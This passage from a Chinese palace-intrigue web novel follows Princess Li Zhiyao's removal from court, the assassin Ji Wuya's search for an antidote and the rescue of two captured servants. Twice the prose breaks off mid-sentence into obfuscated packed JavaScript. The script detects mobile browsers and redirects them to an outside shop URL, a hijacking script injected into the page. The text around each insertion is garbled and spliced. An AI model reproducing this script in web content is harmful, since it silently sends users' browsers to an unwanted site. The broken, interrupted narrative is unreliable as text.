就连曾经在御膳房做事的厨子在她去到酒楼后都另眼相看,掌柜小二厨子围着,看她想吃什么,不管菜单有没有,只要厨子能做都给她做出来,她的儿子是京城权贵,她便是炽手可热的人人巴结对象,很是风光。 后来她的儿子更是出息,竟然成了两国皇帝,她更是一飞冲天,成了当今天下的太后,住进奢华辉煌的宫殿中,初次进宫她时常在宫中走动,摆着太后的架子,就连她自己都忘记,她曾经的身份是从泥潭里靠着儿子一步步走到今天的位置。 如今皇帝执掌江山,手中权力甚大,生看他也,死也看他,荣华富贵是他一句话,贫穷卑贱也是他一句话。 江氏闭了闭眼,沉声道,“哀家与你多年,受你蛊惑撺掇,今众目睽睽,为了大魏江山皇族脸面,哀家也保不住你。” 桂嬷嬷听完心死的瘫软在地,她两眼无神眼泪刷刷往下流,清武帝道:“桂嬷嬷以下犯上,辱骂皇亲国戚,殴打太后企图栽赃嫁祸她人,刁奴劣性难受,拖下去杖毙。” 说完两名侍卫上前一左一右将桂嬷嬷拖下去,清武帝意味深长地看向江氏,“母后,家和万事兴,您身为大魏的太后,理应为天下做出表率,宫人进宫前都是家中宝贝,未曾犯过什么大错,折磨人的手段以后就不要再用了,若是觉得心里难以清静,可往寺院修身养性,为家国祈福,莫要再做出惹人非议的事。” “母后知道了。”她看向李之夭,语气虽有妥协,但眼神里满是不甘和怨怼,但也没再当场发作。 直到走出宫门清武帝才跟李之夭说话,“今日之事你做的也过火,为个奴婢,至于这么大动肝火?” 李之夭跪下叩首认罪,“宿宁知错,甘愿受罚。” 清武帝想了想,最终狠下心来,“你屡次遭人暗杀,朕也不知留你在宫中是好是坏,也不知是不是朕做错了。” 他叹了口气,没让李之夭起身,反而继续说道,“朕在城里让孙广全为你置了处宅子,下月回宫后你便搬出去住吧,太后这边你擅闯宫殿手持凶器引起恐慌,出去后禁足半年,无令不得外出,宫人减半,只允你带上时雨春夏小顺子,和几名粗使,你可愿?” 让她搬出宫去,无非是想看她是否真无二心,届时四处说不定都是监视她的人,以为是送出宫,实则是变相禁足。 帝王对她的试探,更是为了后面的皇家颜面,若是再闹出这样的笑话,便是让皇帝在太后和她之间选一个。 圣心难测,更何况她母亲去世两年,人不在世,也无法事事为她谋求什么。 但好在她总算能脱离后宫,时雨春夏和小顺子也能继续留在身边,比什么都强,李之夭并无异议,也就应下了,“谢皇上隆恩。” 过去她小心谨慎,不敢行差踏错,清武帝尚站在她身边,今日还是她提前寻人将清武帝喊来,让他目睹后面全部,才得到的结果。 她犯错一次,竟就惹得他心生不快。 出了宫,清武帝还真管不住她。 清武帝对纪无涯道:“你此番救人有功,可纵容她肆意妄为,这事朕也会飞鸽传书于缘楼楼主,你是缘楼的人,理应让楼主罚你,不过缘楼来信,你曾犯错,朕需派人将你押回缘楼数罪并罚,这是你们楼主的请求。” 清武帝离开后时雨将她从地上扶起来,时雨紧紧握着她的手,满眼心疼,强颜欢笑地看着她,眼中含泪。 贤妃缓缓走上前,宽慰道,“宫外虽凶险,可总比宫里好,你出去是好事。” “久居宫中,到了宫外,想想反而有些不自在,横竖都是禁足,跟宫里没什么两样。”李之夭冲她微微颔首,语气满是感伤。 贤妃并不属于段兰之一党,她生于相家,名唤沈宁,当今游历在外的丞相是她爷爷,父亲官拜鸿胪寺少卿,现很少有外朝来拜,跟北唐也是开放贸易,两朝并无其他太多联系,是个清闲的职位,也不允许一家出现两名高官存在的情况。 沈宁有管理六宫之权,后宫事宜都是她在打理,除非必要不会见谁,也不会主动去亲近谁。 李之夭对她印象不是很深,除开她刚进宫那日在清武帝的引荐下她见过现在后宫里的妃嫔,大多数都是新朝初立,送进宫里巩固皇权的官家小姐。 也只有出宫来骊山时才是她们第二次相见,今日是她们第一次说话。 接下来她的话让李之夭感到震惊,“是我跟皇上建议将你送出宫去的。” “为什么……” 沈宁看向一旁的纪无涯和时雨,似乎在询问她是否当着他们的面说出来,李之夭赶忙道:“无事我们边走边说。” 他们走在行宫的花园路上,此番出行清武帝带来的人很少,除开伙房和每个宫里伺候的,也就是驻扎在外的禁军,粗使下人骊山行宫中原本就有,临近温度最高的时候,路上宫人也少,不用刻意避开。 “算上上个月的刺杀,已经是这两个月以来第三次了吧,闹出的动静那么大,想不知道都难,你留在宫里,许多事无法当着皇上的面做,就比如养几名身手好的暗卫在身边护着也不行,宫里侍卫又怎能跟那些训练有素的杀手相提并论,你留在宫里,对他们来说就像瓮中捉鳖,你防范再高也有疏漏,不如直接出去,在府中另谋出路。” 沈宁的话说在李之夭心上,正因为她也清楚明白自己处境,奈何清武帝从不放她离开,哪怕是养在大臣家中也不行,反而赐了她封号和身份,就这么留在宫里。 李之夭不能表现出来志趣相投,而是顺从恭敬的听着,等她说完来上一句贤妃娘娘说的是。 “你在我面前不必小心翼翼,我认识你的母亲。”沈宁说完看向李之夭,似乎想看看她什么表情,见她沉默,也不着急,“从前你母亲在燕国宫中曾跟我有信件往来,她在信中提及你,说你宫中行事颇为招摇张扬,不管不顾,却也为你们母女谋了活路,你虽与她不怎么亲近,但她都看在眼里。” 时雨好奇出声:“娘娘,奴婢斗胆询问,主子的生母是怎样的人?” 沈宁面上带着浅浅的笑意,想到她还未进宫时,“那时候我年纪尚小,却跟漱儿姐很是亲近,我不想在家学习规矩偷偷坐在墙头哭,是漱儿姐路过冲我伸出手,问我在哭什么,她自己本身就陷在泥潭里人,却还想安慰我,后来每当我学习累了,就出去找漱儿姐,她什么都听我说,她是个很好的人,可惜没能遇上好人家,她念过书,也识得字,我们相识在三月,正是桃花开得很好的时节,当时漫天桃花四处飘零,洋洋洒洒的,她说若是人生如桃花般绚烂,往后岁岁年年皆迎春来,不再惧怕寒冬。” 沈宁弯起眉眼,“所以当初我听说皇上攻打下燕国,漱儿姐以身殉国,唯独留下你,皇上将你带回来,我便主动请辞进第一批进宫的秀女,想着日后好照拂你那张扬性子,谁知你倒好,闭门不出,反而事事有自己的主意,皇上也还护着你,我便没主动来寻你,怕给你惹麻烦。” “母亲她从前确实同我说过,她在京城短暂的日子里,认识一位小姑娘,不知是哪门哪户的贵女,喜欢跟她说许多事,称她为漱儿姐。” “所以我知晓你三次刺杀,便想着为你谋个出路,知道你想出宫,奈何皇上不允,我便趁着这次守义镇的机会,跟皇上念了一二,他也听进去了。”沈宁如释重负,她好不容易才等到这次机会,若皇上铁了心要将人拘在宫中,往后她也只能想办法将爷爷请回来,让他出面说上几句。 两人分开时,沈宁冲李之夭温柔笑着,仿佛透过她的脸看到曾经的,故人的影子,她心里默默向故人告别,好全了当初自己未曾再见她最后一面的遗憾,至今也不能说句一路走好,来生再见。 因为她是燕国的妃,属于燕国人,在大魏,这是不敬。 李之夭回了小院,她先派人去请太医为时雨手看看,趁时雨跟着太医下去拿药时,她刚坐下,只觉喉咙间涌上一股血腥味儿,眼前发黑,紧接着栽进温热的怀抱里。 她揪着纪无涯的衣衫,意识渐渐模糊,“纪无涯,我是不是快死了。” 纪无涯托着她身体的手收紧,垂下眸子坚定向她承诺。 “我不会让你死的。” 李之夭是因为他才会着了蓝素衣的道,不管如何,他得应该回缘楼跟蓝素衣求解药。 “寻方,我后面得回缘楼求解药了。”怀里的人已经昏死过去,他垂眸怔怔看着怀里的人。 寻方和雪站在门口,寻方走上前道,“师兄,万一楼主不给呢?” “就算抢也得将解药抢出来。”纪无涯平静说道,“你带着阿雪找个缘楼发现不了的地方,我们的入楼时留下的铭牌,我会想办法帮你们取出来。” “可是师兄,你还得去找下月集。”寻方道,“下月集能做什么,还请师兄告知。” 纪无涯朝李之夭体内缓缓输入点内力,护住她的心脉,控制住毒素蔓延,“跟我体内的旧毒有关,寻到下月集就能追根溯源知晓缘楼为何建立,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085286|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为燕国第一任皇帝编写,下月集是为下月缘山,况且这次去莲花村,也知晓自己身世,心里尚有谜团未曾解开,我还需回家一趟,现在的药珠无法完全解我旧毒,只能将希望寄托在下月集上。” 寻方感到诧异,“师兄,药珠三次难不成对你都没用?” “没有三次,还剩最后一次。” 可他们明明记得药珠纪无涯分明才使用了一次。 雪似乎想起什么,“十三师兄,莫不是那次……”难怪她能恢复,竟是十三师兄用自己活命的机会稳住她的心神,想到此雪忽然愧疚地落下泪来,“都怪我,若不是我控制不住……” “阿雪,不怪你,无需自责。” “师兄,你打算什么时候回缘楼?” 刚才清武帝跟他说的话历历在耳,也不知清武帝打算什么时候带他回缘楼,若他擅自离开,恐怕李之夭这边也有麻烦。 李之夭的情况还能稳住,况且林江和九明回去,现在还在气头上,尤其是林江。 他的点穴手法特殊,他故意留了一手让他们回去找蓝素衣解穴,可回去的路上,林江很是受罪。 毕竟人有三急,想对他出手的人,哪怕是同门,他从不会大度到去不去计较。 所以现在的林江很崩溃,九明扛着他已尽快往缘楼赶了,只可惜乘风诀会的人缘楼只有纪无涯寻方和雪三人,寻方和雪都是纪无涯教的,他们曾不屑这样的轻功,认为武力至上,甚至私底下嘲笑过。 也不知纪无涯没有入缘楼前是从哪里学的招式。 林江在一路颠簸中终于忍不住崩溃大叫:“十师兄,我不行了,我实在憋不住了,你能不能,十师兄!” 他说完又大叫一声,九明勒马停下,也是这瞬间,林江只觉自己□□有股湿意,随后原本黑色的裤子此时颜色又深了一层。 马背上滴滴答答落下了水,九明默默别过了头,林江面红耳赤,此时记恨纪无涯的心抵达了顶峰,“十三!此仇不报非君子,你让我遭奇耻大辱,日后我定要加倍像你讨回来!” 九明睨了他一眼,“行了,也是你先对他动了杀心,十三这么做也是你有错在先,既然解决了,咱们继续赶路吧。” 他们赶了一天一夜的路,终于进了宁缘城,上了月缘山后,林江此时已经没什么力气了,他怕路上再憋不出,所以他都没吃什么东西,水都不敢喝,还是憋不住几次。 守门的人瞧见他这样子,伴随着一股尿骚味,不由好奇多看了几眼。 “十护法,十二护法这是怎么了,怎么还用马驮着回来?” 九明扫了一眼林江,没想到他自己反倒觉得面子挂不住,朝守门的弟子吼回去,“你少管!再看小心我把你眼睛挖出来!” 九明牵着马进去,本来他得扛着林江进去,可他身上的味道九明也忍不住嫌弃,走到八角楼的院子中央,蓝素衣闻声出来了。 她一袭红衣从高楼落下,赤脚踩在地上,美眸刚扫了一圈便转身躲开,用手虚虚掩着鼻子。 “这怎么弄得如此狼狈?” 林江急切道:“楼主救我!” 九明将他从马背上炫下来立在原地,蓝素衣上前为他解穴,试探一下就察觉点穴的人非同一般,她眸子抬起声音严厉,“你们见到十三了?” “见到了。”九明不敢欺瞒,“十二就是拜他所赐。” 蓝素衣冷笑一声,指尖凝聚内力为林江解穴,得到解放的林江迅速下跪道谢,就被蓝素衣打发下去洗澡换衣服,剩下九明一五一十将这几日看到的事跟她道来,“楼主,还需不需要去找十三?” “不用了,我收到大魏皇帝的信,说他会将十三给我送来,当初他写信说要留十三在身边办事,我就猜到你们此行必定不顺,你们辛苦了。” “属下应该的。”九明忽然想起李之夭,心中虽有疑虑,但还是把想到的一块说了,“楼主,属下发现十三似乎对宿宁公主关心颇多,若是能说服宿宁公主站在咱们这边,想必十三那边易如反掌。” 蓝素衣勾唇笑得风情万种,“你可知当初雪拿走的雁沙解药留羽有几颗?” 九明不解,蓝素衣道,“三颗,雪体质特殊,百毒不侵,所以不管什么毒都对她没用,她是不会吃的,十三和十四一人一颗,你觉得最后一颗会去哪里?” 九明揣测,“十三留下了?” 蓝素衣轻轻摇头,“能让城里守军过来取解药,当时那位将军是怎么说的?宿宁公主中毒需要解药,证明他们必定在宫里,宿宁公主你我都知皇帝甚至关心,她中毒皇帝肯定在场,解药一到,你觉得她不会吃吗?” “楼主意思是第三颗留羽是宿宁公主吃了?” “留羽雁沙相生相克,宿宁体内并无雁沙,她吃了这几日肯定毒发过,既然十三跟她在一块不会不知道,咱们就等着皇帝把人送来,到时候十三还有得求。”蓝素衣胜券在握,“按照十三的性子,现在也不急于一时。” 九明抱拳称赞,“楼主高明。” 当然她也不会让宿宁公主死了,若是死了,清武帝必定会对缘楼发难,届时百年基业当真就毁在她手上。 每个留在缘楼的人,谁不是身世飘零,无家可依。 她在雪地里捡到的纪无涯,当时她可是问过他真的想好进缘楼了吗。 他说的是。 现在想反悔已经晚了。 她转身走上八角楼,笑意渐渐淡了下来。 原先听话的小少年,长大以后越发变得不乖起来。 离开缘楼,除非她死了,不然这里的每个人都休想。 57. 疑团 第57章 裴淮和杨刻趁着夜色潜进守义镇某处巷子里,跟在身后的杀手寥寥无几跟去时人数消减大半。 他们警惕地行走在寂静的巷子中,殊不知身后跟着一道形如鬼魅的身影。 他们停在某间门前,杨刻立于门前敲了三下门,没过多久门后传来脚步声,紧接着门栓被取下来,木门虽被人极力克制着不发出太大的声响,咯吱声却被无限拉长。 门里的人看清来人后赶紧开门放他们进去,捆在树下的春夏和小顺子正在睡觉,裴淮朝他们投去目光,小顺子睡得昏天黑地,头耷拉着,身体左摇右摆,还有微弱的鼾声,春夏似乎也在熟睡。 “主子放心,属下在他们晚上喝的水里下了蒙汗药,此时已经昏睡过去了。”开门的人解释,复道,“主子,事情可还顺利?” 裴淮压低声音道:“失败了,该死的李之夭早就留了后手,我们都被她利用了。” 杨刻:“李之夭诡计多端,咱们几次三番出手都未能置于死地,现在她和咱们已势如水火,倘若继续留在京城,怕是等到她反击的机会绝对会跟狗一样扑上来咬着不放。” 春夏闭着眼睛不敢睁眼,假装自己还在熟睡,实际上早在敲门声响起时她就已经醒了,因在宿宁宫的缘故,她晚上一般睡眠都很浅,只有在白天才敢熟睡。 今天傍晚时,有位大魏的官员来这里找过人,那人谨慎,从进来的时候一直挡着脸不曾暴露真面目,而且进了屋子后就再也没出来。 他进屋没多久,就有人破天荒的给他们水喝,要知道前几日就算给水喝都是两天一次,且都在早上。 她假装喝下去后,趁人不备偷偷吐了出来,后来看小顺子是何反应,她便也跟着演起来。 听到动静,那人似乎又走了出来,浑厚的声音透露着一股急切,“我女儿怎么样了?” “大人放心,你女儿没事,她已经回去了。”裴淮冷声道,“大人对她可真是上心。” 春夏心中诧异,莫不是宫里有人联合起来相互勾结? 她努力记住说话官员的声音,心中谢天谢地。 他们以为下了蒙汗药便高枕无忧,才能这么放心大胆的在院子里说话,殊不知她早就全听进去了。 听他们的对话,对主子的刺杀又失败了,这次更是吃了个亏,宛如丧家犬般灰溜溜逃了回来,他们尚还在城中,禁军肯定在找人,只要她想办法闹出点动静,不愁引不来人。 裴淮又开始说话了,“大人放心,你女儿绝对不会有事,现在不是她暴露的时候,既然咱们一起合作,我也该让你看到我的诚心。” “有璃王殿下这句话,我就放心了。” “咱们进屋说……” 脚步声走远感觉他们是进去了,即便如此春夏也不敢睁眼,继续保持着熟睡的模样,她竟也不知不觉睡了过去,再次睁眼时,她却瞧见有人偷摸翻墙进来,打晕了守在墙角的杀手。 来人一袭黑色夜行人,看身形是名姑娘。 春夏从未见过踏雪,也认不出她的样子来,但看见外人,给她的心里燃起一丝希望,她不敢贸然出声,只得用一双眼睛急切地望着,希望她能注意到自己。 踏雪接二连三撂倒守在院中的杀手后潜行至春夏跟前,春夏压低声音道,“女侠!求你带我出去!” “春夏?” 对方轻而易举说出自己的名字,春夏感动地眼泪都快掉下来了,外人不会知晓她的名字,除了她家主子,一定是她家主子回来知道她失踪,派人过来寻她来了。 春夏猛地点头,踏雪指了指睡死过去的人,“小顺子?” 她狂点头,踏雪松了口气,他们还活着就是万幸,看样子也没受伤或者遭受折磨,现在外面天气还比较炎热,就算待在外面也没什么大问题,“我现在还不能带你出去,但我会把情况告诉给禁军,过会儿禁军会来接你们。” 踏雪刚说完,紧闭的屋门忽然被打开,睡不着出来走走的青鸢瞧见院子里朦胧的影子,“什么人!” 踏雪拉上面巾,拔剑架在春夏脖子上,粗着嗓子道:“在下只是路过掏个吃酒的钱,若不想她死,你给一下吧。” 春夏大叫:“救命啊!我不想死!” “闭嘴!”青鸢怒斥,拔剑冲上去,“今日让你有命来没命活着出去!” 两人瞬间在院中动起手来,功力不相上下,踏雪也趁此机会打落挂在檐上的灯笼,借青鸢的手将灯笼仍在稻草堆上,烛火燃烬灯笼外的薄纸,将稻草点燃。 稻草堆旁堆放着干树枝,两人大打出手,动静引来屋里的杨刻和裴淮。 杨刻见状上去帮青鸢捉拿踏雪,三人动静越闹越大,院中水缸碎得哐哐响,甚至连大门都被卸了下来,周边民舍里的犬吠声此起彼伏,火势烧起来,惊动附近的百姓。 而在附近的禁军也被吸引过来,顺便将这里的情况传给了秦立山。 本在苦恼怎么找不到人的秦立山听闻,顾不得其他直接快马加鞭赶来。 裴淮心中暗道不好,对身边的人道:“快去将宋大人送走,咱们赶紧撤。” 宋庆在人的搀扶下颤颤巍巍爬上后院的围墙,听见秦立山的声音他吓得腿一软直接摔了出去,顾不上屁股疼一瘸一拐的躲着禁军赶紧离开。 秦立山闯进来瞧见春夏和小顺子,命人去将他们救下来,而他再次看到门口的裴淮,几次三番都被他逃脱的怒火在此时瞬间抵达顶峰,他拔剑蓄力朝裴淮攻去。 “逆贼!今日必将你捉拿!” 裴淮奋力躲开秦立山的攻击,但对方来势汹汹,即便避开了第一次进攻,下一次又会接踵而来打得他措手不及,加上他手中并没武器,开始节节败退,险些招架不住。 青鸢率先注意到这边的情况,她喊出一声主子,暂时脱离这边的战场替裴淮解围。 得到外援的裴淮瞬间扭转局势,他拔出兵刃,两人联合朝秦立山反击,但能担任禁军统领又是曾经上过战场的将军,秦立山丝毫不输他们二人,以一敌二还能游刃有余。 混乱中春夏赶紧让其他插不上手的禁军去后院追逃走的大人,“那位大人很有可能通敌叛国,快去追他!” 绝对不能容易家国里出现叛徒,根据春夏的指路去后院搜查,尽管他们提前让宋庆从后面离开,但走时难免会留下痕迹,禁军一路顺着踪迹追过去,宋庆看到身后越来越近的禁军,鞋都跑掉一只顾不上捡。 一旦被抓到,就是抄家灭门的死罪,他卯足了劲儿往暗处跑,最后藏进一只大泔水桶里才得以解脱。 而禁军这边除了一双不知主人是谁的鞋以外,一无所获,他们将鞋带回去,屋舍火势渐大,裴淮等人趁此机会扔出烟雾弹逃走。 火势蔓延到周遭,百姓的叫声传来,秦立山不得不停下去追的想法,转头让人赶紧救火。 回来的禁军把鞋递给秦立山,“那人狡猾,只留下这个。” 鞋的工艺材质特殊,是左脚,只有京城的达官贵人才会穿的款式,而城里的达官贵人都喜欢去一家铺子里定制,他翻过鞋底,果不其然,鞋底上面虽有磨损的痕迹,还是能看出是京城名叫中萃轩的印记。 索性春夏和小顺子都没事,也找出朝中跟贼人有牵连的线索,秦立山连夜带着春夏他们上山去跟皇上禀告此事,小顺子在昏睡中不醒,又是春夏亲耳听见,便将小顺子送回李之夭身边,顺便知会她一声。 春夏则将这几日所见所闻全都和盘托出。 孙广全为清武帝捧着单鞋让他细细查看,他微微皱眉,近几日事层出不穷,没想到今日还牵扯到朝中官员,他双眼如鹰,“今日先跟贼人起冲突的人你以为是何人?” 秦立山摇头,说自己不知,“那人看身形是名女子,臣赶到时他们已打得难舍难分,只听女子声音粗狂,说自己不过套个吃酒钱的话,依臣之见,她应是江湖中人,误打误撞,后面她趁机离开,臣也无法将她带来问话。” 春夏伏跪在地上察觉帝王的视线落在自己身上,她不敢说是自己主子派来找她的,连说自己不知,“奴婢留了心眼并未中蒙汗药,后面见那女子鬼祟溜进来,以为奴婢是家中犯错被惩罚的丫鬟,让我说出藏钱的地方,奴婢正打算同她周旋,就被人发现了,故而她们先打了起来。” 沈宁见清武帝眉头紧皱不减,为他添茶,笑道,“估计是江湖里偷鸡摸狗的小贼,误打误撞帮大统领找到了春夏他们的下落,也是幸运,依臣妾看眼下最要紧的还是先找出朝中谁跟贼人暗中往来,尽早揪出来以免扰乱朝纲。” 清武帝听完应了一声,询问沈宁的意见,因沈宁出自相府,她的学识和见识自小跟着丞相耳目有染,并非一般闺阁女子,此次带她在身边,也是希望能帮自己分担一些忧思,“贤妃看如今这事该怎么处理?” “此事是秦大统领发现,理应交给秦大统领,朝中官员尚不明确,万一阴差阳错交到了逆臣手中,岂不错失良机,大统领刚正不阿,为人正直,此事交给他再好不过,春夏是宿宁公主身边的人,她参与其中,宿宁公主身为她的主子,也该全力配合大统领才是。” 清武帝点点头,觉得她说的在理,“秦立山,朕给予你便宜行事之权,彻查此事,查出贼人身份以及是谁跟他勾结,火烧凤山,护国寺被毁,里面供奉宝物,部分历代先皇牌位,桩桩件件罄竹难书,务必给朕找出来!” 秦立山抱拳领命,春夏随他一起离开,引灯的宫人走在前头,行至一半就看见匆匆赶来的李之夭,秦立山看向她身后的时雨,见她没事神色稍缓。 春夏紧紧抱着时雨和李之夭哇哇哭了起来,时雨赶忙安慰着她,说没事了,春夏擦了眼泪朝李之夭跪下,重重跟她磕了几个头,秦立山和外人在场,她不能说出来,倒是李之夭读懂她的意思赶忙将人从地上拉起来。 “你跟我好端端磕头作甚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白日里自从李之夭毒发醒过来后,她知道是纪无涯输了自己的内力给她维持体内平衡,后面又不知去哪里找来的药材,捣鼓一下午,熬出一碗黑乎乎的药,二话不说就让她喝下去。 可她刚喝一口就忍不住吐了,好不容易被纪无涯督促着喝完,她恶心好久,傍晚时她特意让时雨去盯着纪无涯,是放了什么东西在里面,谁知时雨看到的时候,只见雪从随身布袋里掏出了蝎子蜈蚣之类的东西,丢进锅里。 纪无涯盖上一顿猛煮,加入草药进去,最后熬出这么一碗黑乎乎苦到发昏的药。 李之夭得知后等纪无涯再送上来时,她死活都不肯喝了。 现在又被他逮到机会,纪无涯耐心劝道:“喝了,压你体内留羽之毒的。” 她闻了闻,实在难以下咽,连连摆手说不要,“不是还有时间么,现在又不严重,下次再犯你再给我输点内力不就好了。” 纪无涯解释:“你体内本无内力也不会武,我给你输太多次,反而对你身体有害。” “不行,我不喝。” 纪无涯叹了口气,从怀里取出他从雪那里薅来的糖。 因为雪体质原因,时常觉得嘴里发苦,所以她身上都会带有糖。 加上雪得知麻烦公主怎么都不肯喝药时,她闻了闻药瞬间捏着鼻子躲好远,嘴里嫌弃的咦了一声,“这简直是夺命药,喝下去那么苦,我都喝不下去,难怪麻烦公主不肯喝,你好歹给人家一颗糖啊。” 寻方听了好笑,“师兄,麻烦公主金尊玉贵,你给人家,不是人家不领情,是你不懂人情,连雪都嫌弃,麻烦公主肯赏脸喝一次都算给你面子,是我早就把你赶出去了。” 纪无涯闻了闻碗里的药,心里满是狐疑,“我喝多比它苦许多的药,在我看来已经不苦了。” 寻方叹气,“你是你,她是她,她从小到大什么苦都没吃过,跟咱们皮糙肉厚的能一样么,下次你少熬一段时间,实在不行里面放点糖,中和下苦味,压制留羽的汤药,加点糖进去不碍事,等她喝完,你在给她递块糖。” 纪无涯只得把熬好的药汤自己喝了,喝下去确实觉得有点苦,从雪那里要了几块糖随身带着。 今晚得知李之夭醒来出宫后,他便开始重新给李之夭熬药,这次他少熬了一段时间,药效虽不如前两次好,但慢慢来也不怕李之夭不接受。 “这碗没之前的苦。”纪无涯怕她不相信,“我试过了。” 李之夭看他的样子,不知道为何竟然觉得他有些委屈,犹豫地看向面前的汤药,不知为何白日里喝过的那股恶心感突然又开始涌上来。 春夏看着摸不着头脑,暗戳戳问时雨,“我的老天奶,我不在的时候到底发生了什么事。” 纪无涯察觉对方神色松动,晃了晃手里的糖。 “喝完给你。” 58. 设局 第58章 李之夭最终还是喝下那碗汤药,压制毒性总不能拿自己的命开玩笑。 纪无涯平日里不苟言笑的人,今日破天荒对她很是耐心。 喝下那碗药之后,纪无涯剥开糖纸露出浅黄色的糖丸,他用糖纸捏着糖丸递给春夏,春夏恍然回神赶忙接过,再递给李之夭。 吃下糖丸后口中苦涩果然得到化解,在她看来,这碗汤药和今中午喝的并无区别,同样都是苦涩异常,不曾消减,察觉或许是他哄骗自己喝药的说辞,李之夭抬头愠怒地瞪向纪无涯一眼,却见他眉宇间揉着淡淡的笑意,连他自己都不曾发现。 “比白日的比较起来是不是不怎么苦了?” 李之夭将嘴里含着的糖用舌尖顶了顶,一股甜味再次化开,她闷闷点头,“是。” 因为翌日一早春夏还要协助秦立山找人,所以今晚不敢耽搁太久便各自匆匆离开睡下。 只是李之夭躺在床上,还含着半颗没化完的糖,寂静的夜里,她翻来覆去地,显得有些心神不宁,最后她将糖咬碎,坐起身去给自己倒杯水。 站在窗前,见清瘦的背影坐在高墙之上,发尾飘荡,夜色沉沉,显得他无比寂寥,虽是背对着自己,但李之夭总觉得只要自己出声,对方就能察觉出来并且回头看她。 片刻愣神后李之夭恍然唤回理智,她猛灌一口水回到床上躺好,侧身看着从窗户照进来的月光,映在地板上,夜风几许,伴随着夏日蝉鸣,沉沉睡了过去。 经过一晚上的搜索排查,最终还是没能找出逃走的官员是谁。 李之夭建议秦立山先去查探一下这两日来守义镇的官员有哪些,再逐一排除也不迟。 为了避免出现麻烦,她吩咐踏雪先行返回京城,“回去以后你同他说要想办法保住中萃轩,不能出现任何差池,避免有人铤而走险,毁掉中萃轩。” 他指的是耿进才,因为现如今纪无涯都不知道银来庄是她名下的庄子,就连银来庄里的人也是为她效力,纪无涯在这里,她不好将自己身份暴露出来。 踏雪明白她的意思,便应下了。 李之夭心里知道昨夜逃走的人是谁,能和裴淮站在一块的人只有苏月清的养父,大魏的吏部尚书宋庆宋大人。 宋庆因为听从苏月清的话投靠裴淮,暗中帮助裴淮在大魏安插北唐细作,后面被大魏皇帝发现东窗事发,但裴淮早有准备,救下了宋庆,后来裴淮夺取皇位,成功登基,苏月清成为皇后,宋庆也顺理成章在北唐任职,高官厚禄风光无限。 中萃轩也会被宋庆暗中派人除掉,一把火烧掉所有罪证,让禁军查无可查,成为悬在大魏头上的一把刀。 虽然发现的情况出现偏差,春夏和小顺子的遭遇在书中不曾拥有,转来转去,都要按照书里的剧情发展,既然自己现在掌握先机,必不可能让宋庆得逞。 “但守株待兔万一兔子不上钩,岂不是白忙活?”时雨好奇出声,春夏也趁机点点头。 纪无涯前世经历过中萃轩一事,他还有印象,适当将当日情况透露出来,“我若是他,除掉有威胁的人越快越好,避免夜长梦多,最好在明晚之前就将中萃轩保护起来,中萃轩掌柜的家人也不可忽视。” 算算日子,中萃轩的人就是在明晚被宋庆派人杀害,掌柜带着中萃轩的记录曾经定制鞋子的单子逃走,为了拿捏掌柜,裴淮命人控制住了掌柜的家人。 因为当夜被派去守人的人正是他。 掌柜为保全家人,走投无路,在裴淮跟前自尽,而最后掌柜的家人也无一幸免,都死在了宋庆手下。 他们深知斩草除根的道理,避免日后他们活着釜底抽薪,最终遭到反噬。 不是纪无涯动的手,他不支持赶尽杀绝,却也没有阻止。 如今重来,他心里却对那一家子人产生愧疚。 李之夭瞥了他一眼,纪无涯在裴淮身边代号‘无’,那次中萃轩的行动中,若是按照剧情正常轨迹,他也参与其中,现在他站在这里,跟自己出谋划策给裴淮和苏月清添堵。 想想命运真是奇妙,事情的发展方向都有些不同了。 李之夭道:“这段时间辛苦你些,我让飞鸿跟你一块回去。”她说完看向门口靠门的认真听话的少年。 踏雪有些担忧,“主子,飞鸿还是留在你身边比较稳妥。” 李之夭说没事,“我这里不会出问题,飞鸿跟着你回去,好有个帮衬。” 因为有个纪无涯,加上纪无涯身边似乎还有两位武功高强的人守在暗处,横竖她都不会有问题,踏雪和飞鸿便匆匆离开了。 没多久禁军也派人来请春夏下山,跟秦立山一块去找人,现在不能直接告诉秦立山那人是宋庆,只能引导着他自己查到宋庆身上。 所以李之夭在秦立山离开时叫他留步,“秦大统领,我知是任性请求,不知下山可否带我一起前去,我不会露面,只是从旁听着,多一个人也多一份力量,我想尽快帮春夏抓到此人,为大魏扫清祸患。” 春夏是她身边的奴婢,他觉得李之夭说得不错,皇上允了他便宜行事之权,秦立山便擅自做主应了下来,为她备了马车,她带上春夏和纪无涯一块下山去了。 此时小顺子刚从昏睡中醒来,他揉了揉惺忪睡眼,从床上坐起来。 “春夏,咱们这是换地方了?怎么还有床?” 进门来的时雨下笑道:“我看你是睡迷糊了,还好春夏留了心眼,不然你就真死翘翘了。” 小顺子跪在床上,检查了一遍自己全身,喜极而泣,“我的老天爷,我这是得救了!”他抱着自己的被子,好奇心都快飞出来了,迫切想知道自己是如何获救的。 时雨也同他娓娓道来…… 话说清武帝过来骊山避暑,自然也把政事挪到了骊山,朝中事务因丞相不在,大部分到了太傅徐子清手上,各部事宜由六部尚书负责,检察院督查监管,每五日需有批大臣连同需要皇帝批阅的奏折带过来面圣呈交,这次来的人共十二名大臣,文臣六名,武将六名,宋庆也在其中。 他们集中安排在守义镇的客栈里,到了上山的时间有人验明身份后接他们上山。, 以宋庆为首的官员齐齐穿戴整齐出现在客栈门口,可等了半天,却不见接他们上山的马车,反而等来了秦立山。 大理寺少卿揣着一沓奏折,见秦立山的马横在眼前,身后还围来群禁军,他战战兢兢询问,“秦大统领,可是出了什么事?” 